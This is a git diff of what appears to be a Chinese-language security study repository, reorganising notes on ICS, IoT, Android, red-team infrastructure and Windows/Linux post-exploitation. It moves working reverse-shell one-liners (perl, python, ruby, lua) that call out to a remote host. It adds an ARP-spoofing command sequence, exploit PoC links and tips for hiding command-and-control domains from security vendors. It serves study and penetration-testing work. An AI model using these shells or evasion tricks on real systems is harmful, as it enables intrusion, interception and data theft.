的关键技术在于其内部固化了一个能解释梯形图语言的程序及辅助通讯程序,实际上,设计一台 PLC 的主要工作就是开发解释梯形图语言的程序。 + **PLC的使用介绍** - [[图文]西门子S7-300教程 第1章](https://wenku.baidu.com/view/eb015e01b52acfc789ebc9cd) - [[图文]西门子S7-300教程 第2章](https://wenku.baidu.com/view/86d25c104431b90d6c85c7cf.html) diff --git "a/1earn/Security/ICS/S7comm\347\233\270\345\205\263.md" "b/1earn/Security/ICS/S7comm\347\233\270\345\205\263.md" index 41245154..b00ae98c 100644 --- "a/1earn/Security/ICS/S7comm\347\233\270\345\205\263.md" +++ "b/1earn/Security/ICS/S7comm\347\233\270\345\205\263.md" @@ -4,7 +4,7 @@ ## 免责声明 -`本人撰写的手册,仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- diff --git "a/1earn/Security/ICS/\344\270\212\344\275\215\346\234\272\345\256\211\345\205\250.md" "b/1earn/Security/ICS/\344\270\212\344\275\215\346\234\272\345\256\211\345\205\250.md" index 2bc1e481..603b6b4c 100644 --- "a/1earn/Security/ICS/\344\270\212\344\275\215\346\234\272\345\256\211\345\205\250.md" +++ "b/1earn/Security/ICS/\344\270\212\344\275\215\346\234\272\345\256\211\345\205\250.md" @@ -4,7 +4,14 @@ ## 免责声明 -`本人撰写的手册,仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` + +--- + +**相关文章** +- [【格物实验室】某SCADA的远程代码执行漏洞挖掘与利用](http://blog.nsfocus.net/scada-vulnerability-mining-0102/) +- [【格物实验室】工控安全之危险的工程文件](http://blog.nsfocus.net/ics-project-files-0102/) +- [【格物实验室】某国产SCADA软件安全性分析启示](http://blog.nsfocus.net/scada-security-assessment-1118/) --- diff --git "a/1earn/Security/ICS/\345\267\245\346\216\247\345\215\217\350\256\256.md" "b/1earn/Security/ICS/\345\267\245\346\216\247\345\215\217\350\256\256.md" index 04365e18..07f6db77 100644 --- "a/1earn/Security/ICS/\345\267\245\346\216\247\345\215\217\350\256\256.md" +++ "b/1earn/Security/ICS/\345\267\245\346\216\247\345\215\217\350\256\256.md" @@ -8,7 +8,7 @@ ## 免责声明 -`本人撰写的手册,仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- diff --git "a/1earn/Security/IOT/\347\241\254\344\273\266\345\256\211\345\205\250/Device-Exploits.md" "b/1earn/Security/IOT/\347\241\254\344\273\266\345\256\211\345\205\250/Device-Exploits.md" index 0fea04c8..a5d7c983 100644 --- "a/1earn/Security/IOT/\347\241\254\344\273\266\345\256\211\345\205\250/Device-Exploits.md" +++ "b/1earn/Security/IOT/\347\241\254\344\273\266\345\256\211\345\205\250/Device-Exploits.md" @@ -24,6 +24,8 @@ - [speed47/spectre-meltdown-checker](https://github.com/speed47/spectre-meltdown-checker) - [Eugnis/spectre-attack](https://github.com/Eugnis/spectre-attack) - [turbo/KPTI-PoC-Collection](https://github.com/turbo/KPTI-PoC-Collection) + - [google/security-research-pocs](https://github.com/google/security-research-pocs) + - https://leaky.page/ - JavaScript编写的Spectre漏洞PoC,演示基于Web的Spectre攻击的可行性 **PLATYPUS** - https://platypusattack.com/ @@ -172,3 +174,8 @@ - POC | Payload | exp - [Netlink GPON Router 1.0.11 - Remote Code Execution](https://www.exploit-db.com/exploits/48225) + +**ruijie** +- **EWEB网管系统命令执行** + - POC | Payload | exp + - [yumusb/EgGateWayGetShell_py](https://github.com/yumusb/EgGateWayGetShell_py) diff --git "a/1earn/Security/MobileSec/Android\345\256\211\345\205\250.md" "b/1earn/Security/MobileSec/Android\345\256\211\345\205\250.md" index d202408d..84b94063 100644 --- "a/1earn/Security/MobileSec/Android\345\256\211\345\205\250.md" +++ "b/1earn/Security/MobileSec/Android\345\256\211\345\205\250.md" @@ -147,6 +147,11 @@ SSL/TLS Pinning 提供了两种锁定方式: Certificate Pinning 和 Public Ke grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto ``` +- 通过正则提取一些敏感信息 + ```bash + apktool d app_name.apk + grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/ + ``` --- diff --git a/1earn/Security/Power-PenTest.md b/1earn/Security/Power-PenTest.md index ff3186a1..ecda308f 100644 --- a/1earn/Security/Power-PenTest.md +++ b/1earn/Security/Power-PenTest.md @@ -17,7 +17,7 @@ # 免责声明 -`本人撰写的手册,仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- @@ -44,7 +44,6 @@ * [工具资源](#工具资源) * [渗透套件](#渗透套件) * [抓包工具](#抓包工具) - * [环境部署](#环境部署) * **[CTF](#ctf)** @@ -80,6 +79,7 @@ * **[RedTeam](#redteam)** + * [环境部署](#环境部署) * [信息收集](#信息收集) * [LAN-WAN](#lan-wan) * [MITM](#mitm) @@ -99,16 +99,12 @@ * [HTTP_request_smuggling](#http_request_smuggling) * [JWT安全](#jwt安全) * [OOB](#oob) - * [语言特性](#语言特性) - * [PHP安全](#php安全) - * [PHP代码审计](#php代码审计) - * [PHP反序列化](#php反序列化) - * [bypass-disable_functions](#bypass-disable_functions) * [安防设备](#安防设备) * [后渗透](#后渗透) * [云安全](#云安全) * [软件服务安全](#软件服务安全) * [协议安全](#协议安全) + * [语言安全](#语言安全) * **[ICS](#ics)** @@ -479,13 +475,13 @@ - **CobaltStrike** - 后渗透神器 - [CobaltStrike 笔记](./安全工具/CobaltStrike.md) -- [Empire](https://github.com/EmpireProject/Empire) - 基于 PowerShell 和 Python 的后渗透框架,常用于生成免杀 +- [Empire](https://github.com/BC-SECURITY/Empire/) - 基于 PowerShell 和 Python 的后渗透框架,常用于生成免杀 - 文章/相关 - [[技术分享]一篇文章精通 PowerShell Empire 2.3(上)](https://www.anquanke.com/post/id/87328) - [[技术分享]一篇文章精通 PowerShell Empire 2.3(下)](https://www.anquanke.com/post/id/87333) - - 图形化 UI - [leeberg/BlueCommand](https://github.com/leeberg/BlueCommand) - 使用 PowerShell Universal Dashboard 为 PowerShell Empire 提供仪表板和工具化前端服务 + - [BC-SECURITY/Starkiller](https://github.com/BC-SECURITY/Starkiller) - **metasploit** - 漏洞利用框架 - [metasploit 笔记](./安全工具/Metasploit.md) @@ -498,8 +494,6 @@ - [railgun](https://github.com/lz520520/railgun) - 漏洞利用+ctftools+信息收集,非常强大的集成工具 -- [knownsec/pocsuite3](https://github.com/knownsec/pocsuite3) - --- ## 抓包工具 @@ -520,55 +514,6 @@ Charles Web 调试代理是用 Java 编写的跨平台 HTTP 调试代理服务 --- -## 环境部署 - -- 推荐 https://github.com/Mel0day/RedTeam-BCS 项目,对于红队基础设施部署这一块总结的很全 - -**Tips** -- vultr 的服务器可以用自己上传的 IOS 镜像, 可以把 kali 直接装到云服务器上. 性价比也比国内的服务器高很多, 登录 vultr 后默认进入 Products, 上面会有个 ISOs, 戳右上角的 Add ISO, 把 kali 官网的 IOS 下载链接复制上去就 OK - -**相关资源** -- [bluscreenofjeff/Red-Team-Infrastructure-Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) - -**部署工具** -- [ffffffff0x/f8x](https://github.com/ffffffff0x/f8x) - 红队环境自动化部署工具 -- [LionSec/katoolin: Automatically install all Kali linux tools](https://github.com/LionSec/katoolin) - 自动安装所有的 Kali linux 工具 -- [M507/Kali-TX](https://github.com/M507/Kali-TX) - 在 kali 上快速部署所需软件的脚本 -- [rmikehodges/hideNsneak](https://github.com/rmikehodges/hideNsneak) - 通过提供一个界面来快速部署、管理和关闭各种云服务,从而帮助渗透测试人员管理攻击基础架构.这些包括 VM,域前置,Cobalt Strike 服务器,API 网关和防火墙. -- [QAX-A-Team/LuWu](https://github.com/QAX-A-Team/LuWu) - 快速在 VPS 部署红队基础设施 -- [fireeye/commando-vm](https://github.com/fireeye/commando-vm) - 部署 Windows 的渗透测试虚拟机 -- [t94j0/satellite](https://github.com/t94j0/satellite) - 部署一个容易使用 payload 的主机 -- [fuzz-security/VpsEnvInstall](https://github.com/fuzz-security/VpsEnvInstall) - 一键部署渗透 VPS - -**文件服务** -- [文件传输](./RedTeam/后渗透/后渗透.md#文件传输) - -**域名** -- https://www.expireddomains.net/ - 抢注过期域名 -- https://www.freshdrop.com/ -- https://www.domcop.com/ -- Tips - 想法和 Tips 来自 [[Mel0day/RedTeam-BCS](https://github.com/Mel0day/RedTeam-BCS)] - ``` - 1: 不要包含世界大厂和杀毒厂商相关的域名,以及和目标相关的域名 - 2: 注册目标相关区域常见的域名,记得开隐私保护 - 3: 检查域名是否被分类,金融、医疗、电商、航空、旅游优先 - 4: 去VT、微步检查,域名是否被标黑 - 5: 举报滥用规则仔细阅读(freenom 慎用) - - 1: 外网IP,通过情报站看是否被标黑 - 2: 使用CDN隐藏真实IP(部分安全厂商会拦截CDN IP) - - 搭建正常域名,提交至各安全厂商给站点分类 - 1: 把域名A记录解析到大厂 ip,使用时候再解析到 C2,不用时候解析回大厂 ip - 2: VT 自评, alex 自评 - - subdomain takeover : 高信誉域名 A 解析 B -》 - 高信誉肉鸡做前置转发 - ``` - ---- - # CTF - [CTF 笔记](./CTF/CTF.md) @@ -609,6 +554,7 @@ Charles Web 调试代理是用 Java 编写的跨平台 HTTP 调试代理服务 - [QQ申诉那点事](http://www.mottoin.com/detail/2943.html) - [朋友圈别瞎发照片,指不定跟踪狂就是这样找到你家的](https://www.secpulse.com/archives/98492.html) - [社会工程学(Social Engineering)真实案例](https://ai-sewell.me/2020/%E7%A4%BE%E4%BC%9A%E5%B7%A5%E7%A8%8B%E5%AD%A6-Social-Engineering-%E7%9C%9F%E5%AE%9E%E6%A1%88%E4%BE%8B/) +- [如何使用账户恢复功能追踪目标人?- 开源情报搜集方法](https://www.iyouport.org/%e5%a6%82%e4%bd%95%e4%bd%bf%e7%94%a8%e8%b4%a6%e6%88%b7%e6%81%a2%e5%a4%8d%e5%8a%9f%e8%83%bd%e8%bf%bd%e8%b8%aa%e7%9b%ae%e6%a0%87%e4%ba%ba%ef%bc%9f-%e5%bc%80%e6%ba%90%e6%83%85%e6%8a%a5%e6%90%9c%e9%9b%86/) **钓鱼工具** - [HTTrack](http://topspeedsnail.com/httrack-clone-website/) - 克隆任意网站 @@ -661,6 +607,7 @@ Charles Web 调试代理是用 Java 编写的跨平台 HTTP 调试代理服务 - [Terminal Escape Injection](https://www.infosecmatter.com/terminal-escape-injection/) - [Terminal escape sequences - the new XSS for Linux sysadmins](https://ma.ttias.be/terminal-escape-sequences-the-new-xss-for-linux-sysadmins/) - [s/party/hack like it's 1999](https://www.openwall.com/lists/oss-security/2015/09/17/5) + - [Hiding from cats](https://github.com/d3npa/writeups/blob/master/unix/hiding-from-cats.md) - poc ```bash @@ -810,6 +757,7 @@ Charles Web 调试代理是用 Java 编写的跨平台 HTTP 调试代理服务 ``` cewl http://xxx.com -w out.txt ``` +- [Mebus/cupp](https://github.com/Mebus/cupp) **杂项字典** - [AboutSecurity/Dic](https://github.com/ffffffff0x/AboutSecurity/tree/master/Dic) @@ -962,6 +910,10 @@ Charles Web 调试代理是用 Java 编写的跨平台 HTTP 调试代理服务 - [应急](./BlueTeam/应急.md) +### 分析 + +- [分析](./BlueTeam/分析.md) + --- ## 安全建设 @@ -998,6 +950,67 @@ Charles Web 调试代理是用 Java 编写的跨平台 HTTP 调试代理服务 - [一次APT攻击](https://evilanne.github.io/2017/12/17/%E4%B8%80%E6%AC%A1APT%E6%94%BB%E5%87%BB/) - [项目实战 | 通过弱口令沦陷校园网](https://mp.weixin.qq.com/s/2rC047z1WJqwmNMtJHnRTw) +--- + +## 环境部署 + +**Tips** +- vultr 的服务器可以用自己上传的 IOS 镜像, 可以把 kali 直接装到云服务器上. 性价比也比国内的服务器高很多, 登录 vultr 后默认进入 Products, 上面会有个 ISOs, 戳右上角的 Add ISO, 把 kali 官网的 IOS 下载链接复制上去就 OK + +**相关资源** +- [bluscreenofjeff/Red-Team-Infrastructure-Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) +- [Mel0day/RedTeam-BCS](https://github.com/Mel0day/RedTeam-BCS) - BCS(北京网络安全大会)2019 红队行动会议重点内容 + +**部署工具** +- [ffffffff0x/f8x](https://github.com/ffffffff0x/f8x) - 红队环境自动化部署工具 +- [LionSec/katoolin: Automatically install all Kali linux tools](https://github.com/LionSec/katoolin) - 自动安装所有的 Kali linux 工具 +- [M507/Kali-TX](https://github.com/M507/Kali-TX) - 在 kali 上快速部署所需软件的脚本 +- [rmikehodges/hideNsneak](https://github.com/rmikehodges/hideNsneak) - 通过提供一个界面来快速部署、管理和关闭各种云服务,从而帮助渗透测试人员管理攻击基础架构.这些包括 VM,域前置,Cobalt Strike 服务器,API 网关和防火墙. +- [QAX-A-Team/LuWu](https://github.com/QAX-A-Team/LuWu) - 快速在 VPS 部署红队基础设施 +- [fireeye/commando-vm](https://github.com/fireeye/commando-vm) - 部署 Windows 的渗透测试虚拟机 +- [t94j0/satellite](https://github.com/t94j0/satellite) - 部署一个容易使用 payload 的主机 +- [fuzz-security/VpsEnvInstall](https://github.com/fuzz-security/VpsEnvInstall) - 一键部署渗透 VPS + +**文件服务** +- [文件传输](./RedTeam/后渗透/后渗透.md#文件传输) + +**云编排** +- terraform + - 文章 + - [Automated Red Team Infrastructure Deployment with Terraform - Part 1](https://rastamouse.me/blog/terraform-pt1/) + - [Automated Red Team Infrastructure Deployment with Terraform - Part 2](https://rastamouse.me/blog/terraform-pt2/) + - 工具资源 + - [Coalfire-Research/Red-Baron](https://github.com/Coalfire-Research/Red-Baron) +- aws + - 文章 + - [Red Team Infrastructure - AWS Encrypted EBS](https://rastamouse.me/blog/encrypted-ebs/) + +**域名** +- https://www.expireddomains.net/ - 抢注过期域名 +- https://www.freshdrop.com/ +- https://www.domcop.com/ +- Tips + 想法和 Tips 来自 [[Mel0day/RedTeam-BCS](https://github.com/Mel0day/RedTeam-BCS)] + ``` + 1: 不要包含世界大厂和杀毒厂商相关的域名,以及和目标相关的域名 + 2: 注册目标相关区域常见的域名,记得开隐私保护 + 3: 检查域名是否被分类,金融、医疗、电商、航空、旅游优先 + 4: 去VT、微步检查,域名是否被标黑 + 5: 举报滥用规则仔细阅读(freenom 慎用) + + 1: 外网 IP, 通过情报站看是否被标黑 + 2: 使用 CDN 隐藏真实 IP(部分安全厂商会拦截 CDN IP) + + 搭建正常域名,提交至各安全厂商给站点分类 + 1: 把域名 A 记录解析到大厂 ip, 使用时候再解析到 C2, 不用时候解析回大厂 ip + 2: VT 自评, alex 自评 + + subdomain takeover : 高信誉域名 A 解析 B -》 + 高信誉肉鸡做前置转发 + ``` + +--- + ## 信息收集 - [信息收集](./RedTeam/信息收集/信息收集.md) @@ -1066,7 +1079,16 @@ Charles Web 调试代理是用 Java 编写的跨平台 HTTP 调试代理服务 **Arp spoofing** -> ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。 +ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,由于主机会信任任何一个 arp 应答, 通过欺骗局域网内访问者 PC 的网关 MAC 地址,使访问者 PC 错以为攻击者更改后的 MAC 地址是网关的 MAC,导致网络不通。 + +- 工具 + - arpspoof + ```bash + # kali 自带,无需安装 + echo 1 > /proc/sys/net/ipv4/ip_forward # 开启路由功能 + arpspoof -i eth0 -t 192.168.1.91 192.168.1.1 # 进行 arp 欺骗 + driftnet -i eth0 # 运行 driftnet 截获图片 + ``` #### L3 @@ -1272,59 +1294,6 @@ DNS 协议属于 OSI 第七层,DNS 劫持指控制域名解析权限,比如 --- -## 语言特性 - -### PHP安全 - -#### PHP代码审计 - -**相关工具** -- [LoRexxar/Kunlun-M](https://github.com/LoRexxar/Kunlun-M) - -**相关文章** -- [PHP WebShell代码后门的一次检查](https://www.freebuf.com/articles/web/182156.html) -- [记一次渗透测试](https://www.t00ls.net/articles-58440.html) -- [webshell8.com 最新过waf大马分析。继续分析级去后门方法!](https://www.t00ls.net/thread-44654-1-1.html) - -**实验** -- [PHP越权审计1](./RedTeam/Web安全/语言特性/PHP安全/PHP越权审计1.md) - ---- - -#### PHP反序列化 - -**相关工具** -- [php 在线反序列化工具](https://www.w3cschool.cn/tools/index?name=unserialize) - ---- - -#### bypass-disable_functions - -**文章** -- [无需sendmail:巧用LD_PRELOAD突破disable_functions](https://www.freebuf.com/articles/web/192052.html) - -**工具** -- [yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD) - ---- - -### JAVA安全 - -#### JAVA代码审计 - -![](../../assets/img/才怪.png) - ---- - -### ASP安全 - -#### ASP代码审计 - -**案例** -- [越权漏洞反打钓鱼网站](https://www.t00ls.net/articles-58941.html) - ---- - ## 安防设备 **相关文章** @@ -1380,6 +1349,12 @@ DNS 协议属于 OSI 第七层,DNS 劫持指控制域名解析权限,比如 --- +## 语言安全 + +- [语言安全](./RedTeam/语言安全/语言安全.md) + +--- + # ICS **工控系统的概念** @@ -1708,6 +1683,11 @@ DNS 协议属于 OSI 第七层,DNS 劫持指控制域名解析权限,比如 ## IIOT +### 自动化 + +**相关案例** +- [格物实验室:KUKA 机器人安全分析实战](http://blog.nsfocus.net/kuka-0803/) + ### CAN **安全资源** diff --git "a/1earn/Security/RedTeam/OS\345\256\211\345\205\250/Linux\345\256\211\345\205\250.md" "b/1earn/Security/RedTeam/OS\345\256\211\345\205\250/Linux\345\256\211\345\205\250.md" index ed3b75a7..068faa59 100644 --- "a/1earn/Security/RedTeam/OS\345\256\211\345\205\250/Linux\345\256\211\345\205\250.md" +++ "b/1earn/Security/RedTeam/OS\345\256\211\345\205\250/Linux\345\256\211\345\205\250.md" @@ -29,6 +29,9 @@ **相关工具** - [sameera-madushan/Print-My-Shell](https://github.com/sameera-madushan/Print-My-Shell) - 自动化生成各种类型的反向 Shell - [lukechilds/reverse-shell](https://github.com/lukechilds/reverse-shell) - Reverse Shell as a Service +- [nodauf/Girsh](https://github.com/nodauf/Girsh) - nc 的替代品 + + ![](../../../../assets/img/Security/RedTeam/OS安全/Linux安全/3.png) **bash** - tcp diff --git "a/1earn/Security/RedTeam/OS\345\256\211\345\205\250/OS-Exploits.md" "b/1earn/Security/RedTeam/OS\345\256\211\345\205\250/OS-Exploits.md" index 16d29470..b05ab2f3 100644 --- "a/1earn/Security/RedTeam/OS\345\256\211\345\205\250/OS-Exploits.md" +++ "b/1earn/Security/RedTeam/OS\345\256\211\345\205\250/OS-Exploits.md" @@ -490,7 +490,7 @@ bash -i >& /dev/tcp//port 0>&1 **提权辅助工具** - [windows 本地提权对照表](http://www.7kb.org/138.html) -- [提权辅助网页](https://bugs.hacking8.com/tiquan/) +- [提权辅助网页](https://i.hacking8.com/tiquan/) - [Windows提权EXP在线搜索工具](http://blog.neargle.com/win-powerup-exp-index/) - [BulletinSearch-微软官网提供的漏洞 excel 列表](http://download.microsoft.com/download/6/7/3/673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx) - [GDSSecurity/Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) - 此工具将目标修补程序级别与 Microsoft 漏洞数据库进行比较,以便检测目标上可能缺少的修补程序. @@ -611,6 +611,10 @@ i586-mingw32msvc-gcc useradd.c -o useradd.exe - 文章 - [CVE-2020-1170 Microsoft Windows Defender 提权漏洞](https://mp.weixin.qq.com/s/chQH0m1wjFxE9bYP5lABTg) +**CVE-2021-1732** +- POC | Payload | exp + - [KaLendsi/CVE-2021-1732-Exploit](https://github.com/KaLendsi/CVE-2021-1732-Exploit) + --- ## 远程漏洞 @@ -686,6 +690,7 @@ i586-mingw32msvc-gcc useradd.c -o useradd.exe - [mekhalleh/cve-2019-0708](https://github.com/mekhalleh/cve-2019-0708) (实测、蓝屏) - [Cyb0r9/ispy](https://github.com/Cyb0r9/ispy) - [k8gege/CVE-2019-0708](https://github.com/k8gege/CVE-2019-0708) - 批量检测工具 + - [cbwang505/CVE-2019-0708-EXP-Windows](https://github.com/cbwang505/CVE-2019-0708-EXP-Windows) - Windows版单文件exe版 - 修复工具 - ["CVE-2019-0708"漏洞检测修复工具](https://www.qianxin.com/other/CVE-2019-0708) diff --git "a/1earn/Security/RedTeam/OS\345\256\211\345\205\250/Windows\345\256\211\345\205\250.md" "b/1earn/Security/RedTeam/OS\345\256\211\345\205\250/Windows\345\256\211\345\205\250.md" index 3da61542..06f0d075 100644 --- "a/1earn/Security/RedTeam/OS\345\256\211\345\205\250/Windows\345\256\211\345\205\250.md" +++ "b/1earn/Security/RedTeam/OS\345\256\211\345\205\250/Windows\345\256\211\345\205\250.md" @@ -14,6 +14,7 @@ * **[LOL](#LOL)** * [PowerShell](#powershell) + * [白名单](#白名单) * [Other](#other) * **[RDP](#rdp)** @@ -21,18 +22,30 @@ * [多开](#多开) * [连接记录](#连接记录) * [凭据窃取](#凭据窃取) + * [绕过组策略限制](#绕过组策略限制) + * [绕过本地安全策略限制限制](#绕过本地安全策略限制限制) * **[认证](#认证)** * [本地](#本地) + * [mimikatz](#mimikatz) + * [加密降级攻击](#加密降级攻击) + * SAM & LSA Secrets + * Bypass LSA Protection + * Bypass Credential Guard + * [DPAPI](#dpapi) * [工作组](#工作组) * [IPC$](#ipc) * [PTH](#pth) + * [kb2871997](#kb2871997) + * PTH with RDP * [PTK](#ptk) + * [NTLM中继](#NTLM中继) * [域](#域) * [NTDS.DIT](#ntdsdit) - * [利用Dcsync获取域用户Hash](#利用dcsync获取域用户hash) - * [使用VSS卷影副本提取ntds.dit](#使用vss卷影副本提取ntdsdit) * [NTDS转储](#ntds转储) + * [Dcsync](#dcsync) + * [卷影复制](#卷影复制) + * [mscash](#mscash) * [GPP](#gpp) * [PTT](#ptt) * [Silver_Tickets](#silver_tickets) @@ -41,7 +54,6 @@ * [Kerberoasting](#kerberoasting) * [委派](#委派) * [查找域中委派主机或账户](#查找域中委派主机或账户) - * [毒化LLMNR和NBT-NS请求](#毒化llmnr和nbt-ns请求) --- @@ -131,27 +143,10 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.16 --- -## Other +## 白名单 -**perl** -```perl -perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' -``` - -**python** -```powershell -C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" -``` - -**ruby** -```ruby -ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' -``` - -**lua** -```powershell -lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' -``` +**MSBuild** +- [Use MSBuild To Do More](https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/) **Mshta.exe** @@ -327,6 +322,30 @@ sc \\host delete foobar # 完事后删 --- +## Other + +**perl** +```perl +perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' +``` + +**python** +```powershell +C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" +``` + +**ruby** +```ruby +ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' +``` + +**lua** +```powershell +lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' +``` + +--- + # RDP **第三方连接工具** @@ -337,90 +356,122 @@ sc \\host delete foobar # 完事后删 ## 命令行开启RDP +**相关文章** +- [开启 RDP](https://b404.xyz/2017/12/27/open-RDP/) +- [查询和开启3389端口方式总结](https://mp.weixin.qq.com/s/hgGcoEghsW0IIh7r-YCKCg) + **查看 3389 端口是否开启** ```bash REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /*如果是0x0则开启 ``` +![](../../../../assets/img/Security/RedTeam/OS安全/Windows安全/7.png) + **查看远程连接的端口** ```bash REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber ``` +![](../../../../assets/img/Security/RedTeam/OS安全/Windows安全/8.png) + 